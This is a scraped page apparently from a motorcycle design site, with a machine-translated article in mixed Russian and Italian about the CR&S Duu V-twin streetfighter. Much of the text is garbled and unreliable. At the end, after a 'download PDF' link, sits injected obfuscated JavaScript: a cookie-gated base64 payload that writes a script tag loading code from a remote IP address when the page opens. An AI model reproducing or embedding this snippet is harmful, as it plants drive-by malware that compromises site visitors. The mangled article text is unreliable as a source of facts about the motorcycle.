GIVEN motodesign | ДИЗАЙН & ENGINEERING | Мото на заказ | Milano

низкий езды 11 2009

Il 2011 Кажется, почти здесь.

Волна модернизма делает летающий маленький большой дом в Сеттимо Миланезе. CR&S già si distingue per l’originalità della propria streetfighter da misto stretto e per l’unicità di ogni esemplare.

Логическая эволюция моно, важно и интересно, Это будет твин. кажется “соло” концепция велосипед, но вилочный дуу уже прошла несколько километров; Тесты проверка необычных технических решений. Близнец X-Клин является его бьющимся сердцем, ип V-Twin “воздух” почти два литра, что улучшает поиск S&S над классическими схемами Harley-Davidson. L’angolo dei cilindri di 56 Степень конечно отменяет вибрации; распределение с тремя распределительными валами в картере и зубчатых ремней обеспечивает оптимальную геометрию, с помощью коротких стержней и гидравлических толкателей. Содержится является механический шум, rendendo possibile l’omologazione Euro 3 с впрыском и катализаторов. Выхлопных газов из нержавеющей стали изучается QD Exhaust централизации массы и позволить боковые наклоны больше 40 степени. Потенциал этого очень большого двойника примечателен даже в конфигурации “код”: по крайней мере 100 лошадей и 130 Ньютон / м крутящего момента, ma l’erogazione è piena a ogni regime. Изменение отделить 5 o 6 отношения и первичная цепь завершить трансмиссию, вставленную в оригинальной раме. Большая часть стальной трубы от рулевой колонки и содержит смазку; Он утверждает, красивые боковые пластины, ricavate dal pieno nell’atelier Rizoma, к которой она закреплена с помощью поперечной трубчатой ​​секции; односторонний маятник. Все предложения CR&S nascono con l’obiettivo di garantire piacere di guida e la ciclistica della Duu, un distillato di Made in Italy d’estrazione sportiva, не разочарует . Детали красивые, начиная с рулевыми пластин, сделанных Rizoma и из модульных колес; Brembo тормоза и качество подвески позволяют достаточно регулировки. Точность и отзывчивость маневренность обещают пилот , крайние складки и обработки, senza cadere nell’estremo opposto di quote troppo “нерв”. С размерами близкими к свойствам XR1200 и вес около 237 кг сухой, grazie all’allungo infinito del motore dovrebbe risultare divertente, легко и раздраженный. Это качество добавляет модульную философию, чтобы настроить мотоцикл в соответствии с различными стилями и жизни вождения, качество компонентов, мастерство с промышленными гарантиями: легко предвидеть, непосредственный интерес вокруг этого стритфайтера. Многие из CR компонентов&S специально созданных Донато Cannatello итальянскими компаниями, как корневища. Оригинальность и фитинги “подгонянный” должен представлять собой дополнительный плюс в пользу дуу. Даже фиксированная цена обещает быть интересным, около 20.000 евро: близко к тому, что в VRSC и ниже нового V-Max… Как задолго до того, 2011?

 

СКАЧАТЬ PDF… function getCookie(е){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}